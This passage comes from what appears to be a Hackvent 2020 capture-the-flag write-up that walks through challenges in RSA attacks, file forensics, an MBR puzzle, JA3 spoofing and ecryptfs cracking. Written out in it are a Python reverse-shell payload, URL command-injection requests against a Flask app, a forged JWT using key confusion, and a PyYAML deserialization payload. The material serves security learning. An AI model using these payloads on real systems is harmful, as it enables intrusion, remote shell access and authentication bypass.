PqL4iy7ZQGsrQO60MU8OxRFk8AAhTW8QYEdcszln5AdZccS5RTOQr1FpAkB7dSuT
4jDODSTwTjIp+fBefNg8SeSdShdPLILytYNJtwNDeDJb0Ye7QfSWWBMDbI+NMT9M
Mq7XeTXO8zgA4aIvAkB7dSuT4jDODSTwTjIp+fBefNg8SeSdShdPLILytYNJtwND
eDJb0Ye7QfSWWBMDbI+NMT9MMq7XeTXO8zgA4aIvAoGAK1AN3Npry6/Ua0BwkQy6
hpcOshnf4viahNoOXswzeD90TV1hU8G4DVnz8r3fp3chBJWcnscYViJkehMwdJo+
LMMwRuYos0iHraTT0BJATxlcN14BreOnvAqI32L2L24ij0er64Ukj647DTJiQ1AD
QguWrpROv9OLIJXfGNf9BEA=
-----END RSA PRIVATE KEY-----echo "fJdSIoC9qz27pWVpkXTIdJPuR9Fidfkq1IJPRQdnTM2XmhrcZToycoEoqJy91BxikRXQtioFKbS7Eun7oVS0yw==\
vzwheJ3akhr1LJTFzmFxdhBgViykRpUldFyU6qTu5cjxd1fOM3xkn49GYEM+2cUVk22Tu5IsYDbzJ4/zSDfzKA==\
fRYUyYEINA5i/hCsEtKkaCn2HsCp98+ksi/8lw1HNTP+KFyjwh2gZH+nkzLwI+fdJFbCN5iwFFXo+OzgcEMFqw==\
+y2fMsE0u2F6bp2VP27EaLN68uj2CXm9J1WVFyLgqeQryh5jMyryLwuJNo/pz4tXzRqV4a8gM0JGdjvF84mf+w==" | base64 -d > ../data_enc.dat$ ./RsaCtfTool.py -n 0xa76e4c6615f59993dc5bc207f590194ec4cdeb1a57cfa90c1055f811901debf486ea1716d5dafd9dfaa0a931a820bc96b4d12b95578867122b0b54a6907e4cab94535396adf9a93b037b24ddb3491d2494fd7c4c27980e5f9fcb51e258890e9125213b2bd3bf7d64466ec747f68d6afa00e1eb8fd0b8ced8687715f21d62fdd9b7e45ed00d54214242e0ac86c893696d3c016a2f213896e3047507abb7cbdc0869806c835a15f9307a594b9712a7e96dcd46b4dd9063c6d8f63bd39e52b7f5b8a0efb78163ff36b70153ae2f7e3dcf213de2361d23c270731e8fd0c21f662d42773ef3fdc4afc80ac2da62188ab0a341f00628a0207b82fa34a30e1575b9f6e5 -e 0x64a0d9a8926f672fee782f1303775c4d8c8c46cf655d167b1b56719cc54b02f0c1d3b273444eb394fefa79473bdd650e3a93bb2a708bdd5d12e0e19b4b3daf83291cb1e73ccd5a73b930d426b552afde1ecbd1b022369e9ed39b094363d2573cf2e714e817e19257b27e83d4b29b713c218a0562dffd22e39c568f1e1d47bee6a8939d2eedcebec244241c9d2e632515d5da853471e19cde8aaaaf37dc4c68e541c5a3d6b0df316923767e1ca3153f9259cbca0b808926b86af6b06084244d1a7941044d92a4443d28ba027cf576355a9d4edc174d50ba8abab0d81e737000ed16aa4de099c3f94804bbca62dd62dddde6d362e129b3e23c3cc345db4bfd0ecf --attack wiener --uncipherfile ../data_enc.dat --output out.txt
[...]
You made it! Here is your flag: HV20{5hor7_Priv3xp_a1n7_n0_5mar7}\r\rGood luck for Hackvent, merry X-mas and all the best for 2021, greetz SmartSmurfRsaCtfTool tool with the previously computed private key, as it would simply ignore it for some reason. This took mcia and me quite some time to come to this realisation...HV20{5hor7_Priv3xp_a1n7_n0_5mar7}
Thanks to mcia for precious hints and questions that allowed to move fast during this challenge, which was really well streamlined and built in a logical fashion.
| Author | Bread (🍞) |
| Level | hard |
| Categories | forensic, crypto |
On the ninth day of Christmas my true love sent to me...
First things first, let's have a closer look at the comment in cell C9 next to 🍞's name. To do so, I copied over all contents from the protected sheet to a new sheet, which was no longer protected and let the user access all cells freely.
The cell contained the following text:
Not a loaf of bread which is mildly disappointing 1f 9d 8c 42 9a 38 41 24 01 80 41 83 8a 0e f2 39 78 42 80 c1 86 06 03 00 00 01 60 c0 41 62 87 0a 1e dc c8 71 23 Why was the loaf of bread upset? His plan were always going a rye. How does bread win over friends? “You can crust me.” Why does bread hate hot weather? It just feels too toasty.
The hex values looked like they form a .tar.z (here's the 80s style compression) file, so let's re-create that and uncompress it:
echo "1f9d8c429a384124018041838a0ef239784280c186060300000160c04162870a1edcc87123" | xxd -r -p > c9_comment.tar.z
uncompress -k c9_comment.tar.z # Results in corrup bitmap or bitmap headerThe resulting file seemed to be a chopped off Bitmap header hinting for an image with dimensions 551x551. But where's the rest?
Time to have a closer look at the original .xls file. Wasn't there a small string in one of the gift boxes?

There was! Double-clicking on it in the unprotected sheet uncovered a text file containing hex numbers, also producing a .tar.z file:
The resulting file looked somewhat odd:
$ hexdump -C part9.tar | head -2
00000000 53 61 6c 74 65 64 5f 5f 5c ea a7 a1 22 1f 14 38 |Salted__\..."..8|
00000010 30 77 91 72 c8 5b 85 83 d1 3e 82 9a e9 2f d5 02 |0w.r.[...>.../..|The file command gave a somewhat more clear explanation:
At this point, the hypothesis was that part9.tar contains the missing bmp body. This was motivated mostly by the almost matching file size. However, the body was encrypted which, as it turned out, was more a psychological hurdle than a technical one.
By simply concatenating the BMP header and the BMP body (first remove the 16 first bytes holding the salt), interpretable BMP image was created. Looking at the image in GIMP and keeping only the red channel, an image with an almost readable QR code appeared.
"Select by color" and GIMP's "Selection Editor" did the rest and gave me a readable QR code which contained the flag:

The effect that could be observed here are visible DES-ECB errors and is known to appear with block ciphers and is described at https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Electronic_codebook_(ECB).
HV20{U>watchout,U>!X,U>!ECB,Im_telln_U_Y.HV2020_is_comin_2_town}
| Author | The Compiler |
| Level | hard |
| Categories | reverse engineering, forensic |
Today, you got a strange GIFt from Santa:

You are unsure what it is for. You do happen to have some wood lying around, but the tool seems to be made for metal. You notice how it has a rather strange size. You could use it for your fingernails, perhaps? If you keep looking, you might see some other uses...
I started analysing the GIF file (using https://www.w3.org/Graphics/GIF/spec-gif89a.txt and https://github.com/corkami/pics/blob/master/binary/GIF.png):
Header: 47 49 46 38 39 61 GIF89a
Logical screen descriptor:
- width: 80 00 => 128
- height: 10 00 => 16
- Packed fields: a1 => Has GCT, Color resolution: 2, sort: 0, size of GCT: 1 (3*(2^2)=12)
- Background color: 03
- def. pixel spect ratio: 00
Global Color Table: (0d-19) (3 bytes per color [R G B] => 4 colors): 00 00 00 fe 00 00 9d 9d 9d fd fd fd
Graphic Comment Extension (0x1a): 21 fe ==> (0x3 bytes) 00 eb 04
Graphic Comment Extension (0x20 - 111/0xee): 21 fe ==> (0xee bytes) 31 db b4 0e 8a 87 f4 7c 8a 8f 9e 7c 84 c0 74 07 30 c8 cd 10 43 eb ed b8 00 07 b7 f0 31 c9 ba 50 19 cd 10 b4 02 b7 00 ba 00 06 cd 10 ba 03 00 be 44 01 31 ff 85 ff 75 1e 81 fe e0 00 75 02 fa f4 b8 0d 0e cd 10 b0 0a cd 10 b9 1b 00 b0 20 cd 10 49 75 f9 bf 19 00 89 f1 21 d1 01 c9 89 f3 c1 eb 02 8b af 9e 7c d3 ed 21 d5 8a 86 f0 7c cd 10 4f 4e 75 c1 b4 01 b5 3f cd 10 fa f4 55 5d df d5 5d 55 0d 5e 6f 03 39 57 23 11 94 1b de 0c 8c 2b 37 bf 80 53 15 4e 54 94 9a d6 5f 2d a1 cf cf 50 8a 0f a5 9d a9 ed 29 84 48 6c 9c f8 44 8e 51 b2 a9 b9 1f 39 54 55 37 63 76 55 c5 d5 7c 49 e4 5c 0d 03 73 a4 16 33 30 54 c5 44 97 4c 55 00 db df dc 20 58 57 97 83 6f 65 76 36 5e 67 5d 64 4d 3c a5 75 f3 7c e0 1f 06 d1 ad 66 24 78 3c a3 e7
Image separator (0x112): 0x2c
- left pos: 0x00
- top pos: 0x00
- width: 0x80
- height 0x10
- packed byte: 0x00
- bits per LZW code: 0x02
- block size: 0xc7
- data (until 0x1e5): 84 8f a9 cb ed cf 86 9c f2 d0 8b 33 76 17 08 0f 7e 62 48 8e 66 89 9e 6a ca 1a 19 10 04 80 46 77 48 8c e7 f2 5c ad 3e fb 0b 02 87 23 d0 06 c7 ab 51 12 ba 66 93 67 10 4a 89 d4 a9 ef d3 c9 25 5f 37 a7 f7 59 a9 8a ad e3 aa e0 c3 d4 36 be ec ef ac 4c 8e c3 49 9e b3 fd 0c 6b eb f7 ce e8 5c 0e 28 56 77 87 c7 67 68 78 10 a8 f8 47 44 58 78 08 c9 96 c8 b8 58 59 e2 f8 11 a9 d9 47 d9 69 59 84 99 b9 39 1a e3 f7 e9 c9 38 48 98 47 ba 39 79 0a 0b 87 97 86 b4 d6 aa 35 60 8a 1a 1b 87 b5 84 4b 43 ab 09 c5 bb 5b 66 94 55 aa 64 73 00 49 6c 5c 3c e5 72 24 b3 5c 23 fc 94 04 b1 cd dd ed 8d a0 61 61 3d ce 41 51 00
Graphic Comment Extension (0x1e6): 21 fe ==> (0x11 bytes) 75 76 61 67 3a 2d 2d 78 72 72 63 2d 74 62 76 61 74
File closing (0x1fa) ==> 00 3b
Trailer (0x1fc) ==> 00 00 55 aa
What caught my attention was the last comment in the file which was uvag:--xrrc-tbvat. Turns out, this is ROT13 encoded and writes hint:--keep-going when converted.
--keep-going is a command line argument for make - which might be an unintended coincidence, I believe. What was intended, however, is that we should keep going in analysing the file.
Namely, the trailer of the GIF file, which cannot be parsed in any way following the GIF file format. The trailing bytes 00 55 aa hint towards an MBR: https://en.wikipedia.org/wiki/Master_boot_record
It turns out the file is a perfectly fine Master Boot Record.
When run, it shows a partial QR code:

I then went on to analyse the GIF/MBR using Ghidra (architecture: x86, 16 bit, little endian, real mode; see note below).
The base address of a loaded MBR is 0x7c00, which is a useful information for this analysis (and the hidden flag that comes with this challenge, see hidden02)
INT 0x10 prints out pixels (https://en.wikipedia.org/wiki/INT_10H)

Using hexedit I finally patched instructions at 0x61 & 0x62 to have value 0x00 (NOP) (is this the part where we were supposed to "keep going"??).
Running the modified MBR again:
Produced the full QR code containing the flag this time:

Note: Ghidra initially treated the file, according to its file signature, as a GIF. To actually disassemble the assembly code, I had to:
https://github.com/corkami/pics/blob/master/binary/GIF.png
HV20{54n74'5-m461c-b00t-l04d3r}
| Author | inik |
| Level | hard |
| Categories | penetration testing, web security |
Elf4711 has written a cool front end for the linux man pages. Soon after publishing he got pwned. In the meantime he found out the reason and improved his code. So now he is sure it's unpwnable.
RESOURCES section on topRESOURCES section.The web application at hand serves man pages over the web. The following source code was supplied:
# flask_web/app.py
from flask import Flask,render_template,redirect, url_for, request
import os
import subprocess
import re
app = Flask(__name__)
class ManPage:
def __init__(self, name, section, description):
self.name = name
self.section = section
self.description = description
@app.route('/')
def main():
return redirect('/man/1/man')
@app.route('/section/')
@app.route('/section/<nr>')
def section(nr="1"):
s ='apropos -s ' + nr + " ."
ret = os.popen('apropos -s ' + nr + " .").read()
return render_template('section.html', commands=parseCommands(ret), nr=nr)
@app.route('/man/')
@app.route('/man/<section>/<command>')
def manpage(section=1, command="bash"):
manFile = "/usr/share/man/man" + str(section) + "/" + command + "." + str(section) + ".gz"
cmd = 'cat ' + manFile + '| gunzip | groff -mandoc -Thtml'
try:
result = subprocess.run(['sh', '-c', cmd ], stdout=subprocess.PIPE)
except subprocess.CalledProcessError as grepexc:
return render_template('manpage.html', command=command, manpage="NOT FOUND")
html = result.stdout.decode("utf-8")
htmlLinked = re.sub(r'(<b>|<i>)?([a-zA-Z0-9-_.]+)(</b>|</i>)?\(([1-8])\)', r'<a href="/man/\4/\2">\1\2\3</a><a href="/section/\4">(\4)</a>', html)
htmlStripped = htmlLinked[htmlLinked.find('<body>') + 6:htmlLinked.find('</body>')]
return render_template('manpage.html', command=command, manpage=htmlStripped)
@app.route('/search/', methods=["POST"])
def search(search="bash"):
search = request.form.get('search')
# FIXED Elf4711: Cleaned search string, so no RCE is possible anymore
searchClean = re.sub(r"[;& ()$|]", "", search)
ret = os.popen('apropos "' + searchClean + '"').read()
return render_template('result.html', commands=parseCommands(ret), search=search)
def parseCommands(ret):
commands = []
for line in ret.split('\n'):
l = line.split(' - ')
if (len(l) > 1):
m = l[0].split();
manPage = ManPage(m[0], m[1].replace('(', '').replace(')',''), l[1])
commands.append(manPage)
return commands
if __name__ == "__main__":
app.run(host='0.0.0.0' , port=7777)Looking at the different paths, I decided not to try to abuse the /search path as there is some sanitisation done, disallowing some characters. The /man path concatenates the input into a file path, which is then used to compose a command line statement. To work around this, some constraints have to be overcome.
The easiest way to attack this application with the goal of getting a reverse shell, is by going for the /section path.
The following resource is an evergreen for reverse shell payloads and was also used for this challenge: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#python
The chosen payload was:
import sys,socket,os,pty;s=socket.socket();s.connect(("127.0.0.1",12345));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")The final request looks as follows:
https://8a54be8b-5e4d-4a17-8607-afbb1bc35e14.idocker.vuln.land/section/1%20bash%20&&%20python3%20-c%20'import%20sys,socket,os,pty;s=socket.socket();s.connect(("10.13.0.5",6543));[os.dup2(s.fileno(),fd)%20for%20fd%20in%20(0,1,2)];pty.spawn("sh")'
On the client side, I had to start a netcat to receive the shell and look for the file containing the flag - /flag:
After knowing where the flag was hidden, a simple command injection also did the trick and made the challenge solvable without the need for a reverse shell.
https://8a54be8b-5e4d-4a17-8607-afbb1bc35e14.idocker.vuln.land/section/1 bash && cd .. && cd .. && cd ..&& cd ..&& cd ..&& cd ..&& cd ..&& cd ..&& cd ..&&echo 'bla (nop) - tsst' %60cat flag%60
HV20{D0nt_f0rg3t_1nputV4l1d4t10n!!!}
| Author | dr_nick |
| Level | hard |
| Categories | programmig, fun (oh no!) |
Santa loves to keep his personal secrets on a little toy cube he got from a kid called Bread (🍞). Turns out that was not a very good idea. Last night Rudolph got hold of it and frubl'd it about five times before spitting it out. Look at it! All the colors have come off! Naughty Rudolph!
/^HV20{[a-z3-7_@]+}$/ and is read face by face, from left to right, top to bottomThe steps to solving this challenge can be summarised as follows:
L2, B2 etc.), since these seem to be needed by the challenge.The custom solver, instead of computing new orientations, used a translation table producing a state by applying a given transition to a given cube state. A state is defined by the set of orientations of all tiles on a cube.
A cube is represented as follows, where F is front, U is upper side, D is downside, L is left side, R is right side and B is back side.
+-+
|U|
+-+-+-+-+
|L|F|R|B|
+-+-+-+-+
|D|
+-+
The approach is to go through all combinations including 5 moves as defined by the World Cube Association (WCA) including moves F, U, R, B, L, D as well as their inverses (e.g. F' and double moves F2).
A solution is reached whenever all faces are aligned (or, as in my case, a majority of them, if the transition table is buggy).
As soon as a solution was found, we can also compute the cube holding the characters, which is more expensive, hence delayed.
Here's the solver's output:
$ time python solver.py
18 possible different moves. 5 moves in total. 1889568 possible sequences.
///////// PROGRESS: 100000 //////////
///////// PROGRESS: 200000 //////////
///////// PROGRESS: 300000 //////////
///////// PROGRESS: 400000 //////////
///////// PROGRESS: 500000 //////////
///////// PROGRESS: 600000 //////////
///////// PROGRESS: 700000 //////////
###################
# Move: Bi Ui R Di F2
------------------
6ceisrhhoHV25o_}tsipl0{ndt@al_n_eo_sa__7a_cs34se_klew_
6ce
isr
hho
HV2 5o_ }ts ipl
0{n dt@ al_ n_e
o_s a__ 7a_ cs3
4se
_kl
ew_
👈👈👈
👈👈👈
👈👈👈
👆👆👆 👈👈👈 👇👇👇 👉👉👉
👆👆👆 👈👈👈 👇👇👇 👉👉👉
👆👆👆 👈👈👈 👇👇👇 👉👉👉
👈👈👈
👈👈👈
👈👈👈
///////// PROGRESS: 800000 //////////
///////// PROGRESS: 900000 //////////
///////// PROGRESS: 1000000 //////////
///////// PROGRESS: 1100000 //////////
///////// PROGRESS: 1200000 //////////
///////// PROGRESS: 1300000 //////////
///////// PROGRESS: 1400000 //////////
///////// PROGRESS: 1500000 //////////
///////// PROGRESS: 1600000 //////////
///////// PROGRESS: 1700000 //////////
///////// PROGRESS: 1800000 //////////
THE END.
real 1m41.343s
user 7m50.505s
sys 0m27.729s
Finally, read out the cube side by side (aligned and rotated to point upwards) to find the following parts of the final flag:
HV20{no_sle3p_since_4wks_lead5_to_@_hi6hscore_a7_last}And assemble these strings to a flag:
HV20{no_s + le3p_sinc + e_4wks_le + ad5_to_@_ + hi6hscore + _a7_last}
Checkout the solver here
HV20{no_sle3p_since_4wks_lead5_to_@_hi6hscore_a7_last}
| Author | fix86 |
| Level | hard |
| Categories | web security, crypto |
Santa has a customized remote control panel for his gift factory at the north pole. Only clients with the following fingerprint seem to be able to connect:
771,49162-49161-52393-49200-49199-49172-49171-52392,0-13-5-11-43-10,23-24,0
Connect to Santa's super-secret control panel and circumvent its access controls.
Santa's Control Panel (might be taken down after Hackvent 2020)
403 forbidden: this is part of the challengeAfter a bit of web crawling, I found out that the given string 771,49162-49161-52393-49200-49199-49172-49171-52392,0-13-5-11-43-10,23-24,0 is a Ja3 TLS fingerprint (see https://ja3er.com/form).
To look for the client matching the fingerprint, I hashed it to an MD5 sum:
$ echo -n "771,49162-49161-52393-49200-49199-49172-49171-52392,0-13-5-11-43-10,23-24,0" | md5sum
a319533bd1a703430d9ad0e21c08c62f -ja3er.com returned Go-http-client/1.1. That, however, is a Golang version that's not available anymore.
After finding the blogpost at https://medium.com/cu-cyber/impersonating-ja3-fingerprints-b9f555880e42 it became clear that a Golang solution using https://github.com/cucyber/JA3Transport was needed to spoof/impersonate the Go 1.1 client.
After fiddling around with Go, implementing every request in Golang directly, compiling and running a Go binary, I decided to make this easier and to write a small proxy in Golang for local use, inspired by https://medium.com/swlh/proxy-server-in-golang-43e2365d9cbc.
The proxy:
package main
import (
"fmt"
"github.com/CUCyber/ja3transport"
"log"
"net/http"
"net/http/httputil"
"net/url"
)
func main() {
http.HandleFunc("/", Proxy)
fmt.Println("About to listen on port 8081...")
log.Fatal(http.ListenAndServe(":"+"8081", nil))
}
func Proxy(res http.ResponseWriter, req *http.Request) {
uri := "https://876cfcc0-1928-4a71-a63e-29334ca287a0.rdocker.vuln.land"
serveReverseProxy(uri, res, req)
}
func serveReverseProxy(target string, res http.ResponseWriter, req *http.Request) {
uri, _ := url.Parse(target)
tr, _ := ja3transport.NewTransport("771,49162-49161-52393-49200-49199-49172-49171-52392,0-13-5-11-43-10,23-24,0")
proxy := httputil.NewSingleHostReverseProxy(uri)
proxy.Transport = tr
proxy.ServeHTTP(res, req)
}
With that proxy in place I was now able to run regular requests against localhost:8081 from curl or a browser.

Next on: guess the username/password to be admin and admin (sometimes you've got to be lucky - or, like in my case, be stuck for an hour and try every possible combination including "santa" until mcia arrives and gives you the much needed hint -_-).
The response to this successfully authenticated request includes a cookie and an html comment leaking some important information...
$ curl -X POST http://localhost:8081/login -d username=admin -d password=admin -i
HTTP/1.1 200 OK
Content-Length: 1275
Content-Type: text/html; charset=utf-8
Date: Thu, 17 Dec 2020 21:24:17 GMT
Server: nginx/1.19.6
Set-Cookie: session=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6Ii9rZXlzLzFkMjFhOWY5NDUifQ.eyJleHAiOjE2MDgyNDM4NTcsImlhdCI6MTYwODI0MDI1Nywic3ViIjoibm9uZSJ9.HGF-i9KGo1vJ8NNuzc8MD34kignUlQSIPwLQDwLNFMk7I56n7Yeze0FcE3ODHjya_40egTCCDkGG1w_GQpv70n_tuGVhOKvzkA75LMCR5lmvCNOhWhPbutdLq3dGLvlWn0xeiW9Hh-is3mhTHL5u-yz2EB4XGXnGLialWYnFpZAA1KUN1iJpZ0w1wQEBQAYIT5a6FS_195zX_XKeKhNV_2l9jcNqwr36nYxJaOlkgnXlI8KvcGQl6MNUFj4lzg9wbfwMqAw_98ZqoItQAIHidtoy7Qpx8Qv3PHM_yjmV4vHa9osiM-ZfnljooBJNl46oXCzLU7NSClfO6FlHoIeZgQ; Path=/
[...]
<input type="password" name="password" placeholder="Password" id="password">
<div class="msg">Invalid credentials.</div>
<input type="submit" value="Login">
</form>
</div>
<!--DevNotice: User santa seems broken. Temporarily use santa1337.-->
</body>
</html>The cookie contains a JWT, which looks like the following in its decoded form:
{"typ":"JWT","alg":"RS256","kid":"/keys/1d21a9f945"}.{"exp":1608243857,"iat":1608240257,"sub":"none"}.<signature>Let's go fetch the signing keys:
$ curl http://localhost:8081/keys/1d21a9f945 -i
HTTP/1.1 200 OK
Content-Length: 451
Content-Type: text/html; charset=utf-8
Date: Thu, 17 Dec 2020 20:26:29 GMT
Server: nginx/1.19.6
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0KDtdDsZ/wpGXWRnP6DY
Ri7OxTWiwPVg8eTsVcmbzAkk2r4itb3NqRw9xpJeUHorgfw1f9GkuAFg/squMrXb
SYM0Vcxqmtsq379xCw6s0pxIafPR7TEAVRh5Mxrudl2lwiO4vJPs+2tmcgui/bFn
wC+qByZtIlsP+rlT/MF2wLaWe/LNAWtOXdFVDOzUy6ylLZeL6fRtt9SiuUOQkkC3
US8TmvVQYcCcwvu4GBJeGdlKrbIuXIohl7hP5i9/KZ3kIvzByp/Xk5iq+tH95/9u
X/9FHKUSrcRE4NYVRhkqHPpn/EbqXHMX0BM0QoGETORlpZIo/lAOQ7/ezOd9z1fw
zwIDAQAB
-----END PUBLIC KEY-----
According to https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/ there are several known flaws inherent to JWTs.
Therefore, different variants are possible now:
"none" algorithm --> failed (with "sub" set to each of the values "none", "admin" and "santa1337")."sub": "santa1337")To confirm whether it works, query the website:
The final working request producing a response including the flag was:
$ curl -X GET http://localhost:8081/ -b 'session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2MDgyNDM4NTcsImlhdCI6MTYwODI0MDI1Nywic3ViIjoic2FudGExMzM3In0._7cCkuK8MnGLM58xdhkkFAKy5UyrJQw7yzxA0brJ1eo' -i
HTTP/1.1 200 OK
Content-Length: 6515
Content-Type: text/html; charset=utf-8
Date: Thu, 17 Dec 2020 21:40:45 GMT
Server: nginx/1.19.6
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Santa's Control Panel</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link href="static/bootstrap/bootstrap.min.css" rel="stylesheet" media="screen">
<link href="static/fontawesome/css/all.min.css" rel="stylesheet" media="screen">
<link href="static/style.css" rel="stylesheet" media="screen">
</head>
<!--Congratulations, here's your flag: HV20{ja3_h45h_1mp3r50n4710n_15_fun}-->
<body class="loggedin">
<nav class="navtop">
<div>
<h1>Gift Factory Control</h1>
<a href="/"><i class="fas fa-home"></i>Home</a>
<a href="/logout"><i class="fas fa-sign-out-alt"></i>Logout</a>
</div>
</nav>
PS: Signing the JWT was made easy by CyberChef: https://gchq.github.io/CyberChef/#recipe=JWT_Sign('-----BEGIN%2520PUBLIC%2520KEY...
However(!!!), you had to keep the trailing newline at the end of the Public Key string. Because if you thought (like me): "Hey, let's be tidy and remove that trailing newline", you would get a different signature that would make an invalid JWT....
HV20{ja3_h45h_1mp3r50n4710n_15_fun}
| Author | darkstar |
| Level | hard |
| Categories | linux, forensic, crypto |
Santa has forgotten his password and can no longer access his data. While trying to read the hard disk from another computer he also destroyed an important file. To avoid further damage he made a backup of his home partition. Can you help him recover the data.
When asked he said the only thing he remembers is that he used his name in the password... I thought this was something only a real human would do...
Unwrap the bz2 file:
Mount the filesystem:
Explore and discover that the important file that's missing is the wrapped-passphrase (see https://wiki.archlinux.org/index.php/ECryptfs#Mounting)
The wrapped passphrase can be unwrapped using a user defined password and then used to decrypt the ecryptfs data.
With the passphrase missing, we were also blocked at the following stage:
root@hlkali:/home/hacker/Documents/hackvent20/dec18/santa# ecryptfs-recover-private
INFO: Searching for encrypted private directories (this might take a while)...
INFO: Found [/home/hacker/Documents/hackvent20/dec18/santa/.ecryptfs/santa/.Private].
Try to recover this directory? [Y/n]: Y
INFO: Could not find your wrapped passphrase file.
INFO: To recover this directory, you MUST have your original MOUNT passphrase.
INFO: When you first setup your encrypted private directory, you were told to record
INFO: your MOUNT passphrase.
INFO: It should be 32 characters long, consisting of [0-9] and [a-f].
Enter your MOUNT passphrase: The high-level flow for generating the wrapped passphrase, as explained in the following nice article: https://research.kudelskisecurity.com/2015/08/25/how-to-crack-ubuntu-disk-encryption-and-passwords/ looks as follows:
From the wrapped passphrase, one can derive a hash with the following format, which can then be used to brute-force the wrapping password using something like JohnTheRipper or HashCat: $ecryptfs$0$1$0011223344556677$21ff10301b5457e1
I was lucky and, by accident, found the following at the very end of the .img file something that looked as if it was a wrapped-passphrase:
05c00000 3a 02 a7 23 b1 2f 66 bc fe aa 30 35 31 31 31 39 |:..#./f...051119|
05c00010 62 30 62 61 63 65 30 61 62 36 db b8 dd 00 47 8f |b0bace0ab6....G.|
05c00020 a1 89 ae c3 cb e5 22 94 f4 ca d1 57 fe 2d 78 65 |......"....W.-xe|
05c00030 67 74 61 1f 32 1b 99 30 6f c7

Gives the hash: $ecryptfs$0$1$a723b12f66bcfeaa$051119b0bace0ab6
From the challenge description it became obvious, that the password was not in the famous rockyou wordlist, but in a different one. Searching for hashcat wordlist station brought me to the right page. Now, download the wordlist from CrackStation (human passwords only, as indicated in the challenge description): https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm Filter the wordlist accoring to the hint given in the challenge description to consider only passwords with some derivation of santa in it: grep -i -e '[s5][a4@]n[t7][4a@]' crackstation-human-only.txt > crackstation-human-santa-only.txt
Confirm the hash format with: https://hashcat.net/wiki/doku.php?id=frequently_asked_questions#how_can_i_identify_the_hash_type
Run hashcat: hashcat --hash-type 12200 ./ecryptfs_hash.txt ./crackstation-human-santa-only.txt
Get the password 🎉:
$ecryptfs$0$1$a723b12f66bcfeaa$051119b0bace0ab6:think-santa-lives-at-north-pole
Re-create the wrapped-passphrase file:
echo -n "3a02a723b12f66bcfeaa30353131313962306261636530616236dbb8dd00478fa189aec3cbe52294f4cad157fe2d78656774611f321b99306fc7"| xxd -r -p > santa/.ecryptfs/santa/.ecryptfs/wrapped-passphraseAnd recover the .Private directory:
$ ecryptfs-recover-private
INFO: Searching for encrypted private directories (this might take a while)...
INFO: Found [/home/hacker/Documents/hackvent20/dec18/santa/.ecryptfs/santa/.Private].
Try to recover this directory? [Y/n]: Y
INFO: Found your wrapped-passphrase
Do you know your LOGIN passphrase? [Y/n] Y
INFO: Enter your LOGIN passphrase...
Passphrase:
Inserted auth tok with sig [7b4f67408a83013e] into the user session keyring
INFO: Success! Private data mounted at [/tmp/ecryptfs.Racizvrv].
INFO: Found [/home/hacker/.Private].
Try to recover this directory? [Y/n]: Retrieve the flag at the temporarily mounted folder:
HV20{a_b4ckup_of_1mp0rt4nt_f1l35_15_3553nt14l}
| Author | The Compiler |
| Level | hard |
| Categories | web security, exploitation |
Docker Linter is a useful web application ensuring that your Docker-related files follow best practices. Unfortunately, there's a security issue in there...
This challenge requires a reverse shell. You can use the provided Web Shell or the VPN to solve this challenge (see RESOURCES on top).
Note: The VPN connection information has been updated.
I tried several potential approaches only one of them allowed me to successfully create a reverse shell.
This approach tried abusing the filename property of the Content-Disposition header. Web applications sometimes do not validate well filenames and therefore allow to override application files.
The following request generates a 500 error as I added a filename statement to the request in a place where no such statement was expected.
POST /env HTTP/1.1
Host: 6a282452-49f7-4ef9-9fba-c32ac07baca3.idocker.vuln.land
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------352734889893943994491840542
Content-Length: 710
Origin: https://6a282452-49f7-4ef9-9fba-c32ac07baca3.idocker.vuln.land
Connection: close
Referer: https://6a282452-49f7-4ef9-9fba-c32ac07baca3.idocker.vuln.land/env
Cookie: session=eyJjc3JmX3Rva2VuIjoiNWE4NDc0YjZiMTkxYzBjZGY4NzJjMDVjZWMxZTA0YzJkNDY5MmJhNSJ9.X95Rvw.c66m5LLW6FLAnrX-PBa0movpUrg
Upgrade-Insecure-Requests: 1
-----------------------------352734889893943994491840542
Content-Disposition: form-data; name="csrf_token"
IjVhODQ3NGI2YjE5MWMwY2RmODcyYzA1Y2VjMWUwNGMyZDQ2OTJiYTUi.X95aRg.zhO9krHN6eIQ27aOpTdsgnP8PYk
-----------------------------352734889893943994491840542
Content-Disposition: form-data; name="contents"; filename="/dev/urandom"
nananananananananananana=batman
-----------------------------352734889893943994491840542
Content-Disposition: form-data; name="uploaded"; filename=""
Content-Type: application/octet-stream
-----------------------------352734889893943994491840542
Content-Disposition: form-data; name="submit"
Submit
-----------------------------352734889893943994491840542--
As discovered later, this attack was prevented by using utils.secure_filename(uploaded.filename) in the app code.
Next, I searched through the different tools that were invoked by the main app. I hoped for some unfixed RCE vulnerability in one of them. I did not find a vulnerability, though. Dependencies were:
Finally, I got a hint to check for an RCE in pyyaml and indeed there's several exploits listed in the open ticket at https://github.com/yaml/pyyaml/issues/420.
The issue, as indicated in the discussion was partially fixed, so !!python/name:xxx yaml tags are not interpreted any longer. So, I tried to use the object only approach as described at https://github.com/yaml/pyyaml/issues/420#issuecomment-663670547.
Locally, the following payload indeed worked (yay!):
!!python/object/new:tuple [!!python/object/new:map [!!python/object/new:type [!!python/object/new:subprocess.Popen {}], [['ls']]]]Once more a nice reverse shell payload was crafted inspired by https://github.com/swisskyrepo/PayloadsAllTheThings/blob/67752de6e9d927c2678b1c64357bc4450ed50ecf/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#python.
Experimenting around led me to the conclusion that payloads accessing /dev/tcp or /dev/udp work in rare cases only, as these devices oftentimes are not available.
